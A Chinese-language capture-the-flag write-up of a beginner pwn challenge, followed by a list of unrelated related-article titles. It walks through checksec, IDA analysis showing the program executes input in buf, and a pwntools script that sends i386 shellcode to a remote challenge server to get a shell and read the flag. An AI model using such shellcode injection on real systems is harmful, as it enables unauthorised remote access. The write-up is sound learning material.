通過用shellcode獲取shell
通過用shellcode獲取shell
題目來源 |
---|
題目要求:用pwntools生成shellcode進而獲取shell許可權奪得flag |
題目解題大概思路
下載題目檔案
在終端執行程式,檢視題目檔案型別和保護機制
用對應位數的IDA來開啟題目檔案
看題目的條件和內容
寫python檔案
執行python檔案得到flag
1.終端執行程式,檢視題目檔案型別和保護機制
執行檔案(好像不能輸入資料)
度娘一下: 出現段錯誤簡單來說就是訪問到了不該訪問的記憶體 這些記憶體不屬於使用者態的許可權範圍
檢視檔案(checksec保護機制)
2.反彙編分析
把程式拉IDA裡面分析,F5一鍵反彙編
程式先輸出“input your shellcode”(應該就是我們執行檔案裡面那一句)
然後呼叫read函式
這裡是我們可以呼叫read函式向buf裡面寫入東西
最後一行 ((void (*)(void))buf)()就是呼叫了buf的函式(一開始沒有認真看這一行導致沒有做題的思路)
也就是我們把shellcode寫進buf中,程式就會呼叫我們所寫的shellcode
3.編寫指令碼
要遠端攻擊伺服器,要有相應的ip和埠(可以先進行本地攻擊)
編寫指令碼(還不熟悉,就照葫蘆畫瓢地打)
#-*- coding: utf-8 -*-
#說明Python源程式檔案用使用的編碼型別改為UTF-8的型別
from pwn import *
#匯入pwntools
context(log_level='debug',os='linux',arch='i386')
p = process("./shellcode")
#載入程式
p = remote("49.234.71.236",28228)
#連結遠端伺服器
shellcode = asm(shellcraft.i386.linux.sh())
#生成shellcode
p.recvuntil("shellcode\n")
#接收程式顯示出來的字串,直至執行到read函式
p.sendline(shellcode)
#向程式輸入一行資料(shellcode)
p.interactive()
#將程式控制權交給使用者,相當於自用執行
4.執行指令碼
在終端用python執行我們寫好的指令碼
獲取了shell的許可權後,用ls列出所有目錄,再用cat flag來奪旗
把flag輸入,就成功了,感動QAQ
總結
1.checksec保護機制
2.用pwntools生成shellcode
3.read函式可以為我們往buf寫入資料,同時執行了buf,我們把shellcode寫進buf,程式會幫我們呼叫shellcode
4.對recvuntil函式的使用
5.用remote函式連結遠端伺服器
相關文章
- Grails通過sessionId獲取session物件AISession物件
- JavaScript 通過class獲取元素物件JavaScript物件
- Android 通過名稱獲取資源IDAndroid
- 通過反射獲取私有內部類物件反射物件
- 通過web url獲取檔案資訊Web
- Unity通過子物件獲取父物件例子Unity物件
- 如何通過WinDbg獲取方法引數值
- android通過MediaProjection獲取螢幕內容AndroidProject
- 通過JQuery ajax獲取伺服器時間jQuery伺服器
- Mac下通過Apple Configurator 2獲取ipa包MacAPP
- select通過onchange獲取每次改變的值
- java web 通過request獲取客戶端IPJavaWeb客戶端
- 在Spring boot中通過ApplicationContext獲取bean失敗Spring BootAPPContextBean
- [ Shell ] 通過 Shell 指令碼匯出 CDL 網表指令碼
- python執行shell並獲取結果Python
- vue+axio通過獲取dom元素上傳檔案Vue
- 聊天平臺原始碼,通過MediaStore獲取縮圖模糊原始碼AST
- MacOS Big Sur系統不需要通過獲取系統許可權而獲取HidpiMac
- [ Shell ] 通過 Shell 指令碼匯出 GDSII/OASIS 檔案指令碼
- 通過url動態獲取圖片大小方法總結
- hive學習之五:java通過zookeeper獲取active namenode地址。HiveJava
- flutter 總結: 通過 GlobalKey 獲取介面任意元素座標尺寸Flutter
- 通過網址獲取ES最近10分鐘的資料量
- shell指令碼獲取函式返回值指令碼函式
- shell指令碼獲取時間格式化指令碼
- shell 怎麼獲取引數的長度
- Linux c程式中獲取shell指令碼輸出(如獲取system命令輸出)LinuxC程式指令碼
- 通過shell指令碼防止埠掃描指令碼
- 通過身份證號碼獲取人的年齡和性別
- org.reflections 介面通過反射獲取實現類原始碼研究反射原始碼
- 通過shell指令碼 批量新增使用者指令碼
- iOS 通過runtime獲取某個類中所有的變數和方法iOS變數
- 通過 gitlab 介面獲取程式碼提交記錄和改動行數Gitlab
- 通過反射獲取上傳檔案方法引數中的檔名反射
- python 呼叫 shell ,獲取返回值和返回資訊Python
- 獲取有關 Linux shell 內建命令的幫助Linux
- Shellcode
- 通過HTTP Header控制快取HTTPHeader快取